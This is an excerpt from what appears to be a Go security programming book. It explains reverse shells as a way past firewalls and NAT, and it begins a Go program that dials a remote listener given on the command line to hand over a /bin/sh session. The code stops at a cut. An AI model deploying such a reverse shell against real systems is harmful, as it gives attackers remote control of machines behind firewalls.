Creating reverse bind shells

Reverse bind shells overcome the firewall and NAT issue. Instead of listening for incoming connections, it dials out to a remote server (one you control and are listening on). When you get the connection on your machine, you have a shell that is running on the computer behind the firewall.

This example uses plaintext TCP sockets, but you can easily swap net.Dial() with tls.Dial(). Chapter 6, Cryptography, has examples of a TLS client and server if you want to modify these examples to use TLS.

// Call back to a remote server and open a shell session
package main

import (
   "fmt"
   "log"
   "net"
   "os"
   "os/exec"
)

var shell = "/bin/sh"

func main() {
   // Handle command line arguments
   if len(os.Args) < 2 {
      fmt.Println("Usage: " + os.Args[0] + " <remoteAddress>")
      fmt.Println("Example: " + os.Args[0] + " 192.168.0.27:9999")
      os.Exit(1)
   }

   // Connect to remote listener
   remoteConn, err := net.Dial("tcp", os.Args[1])
  ...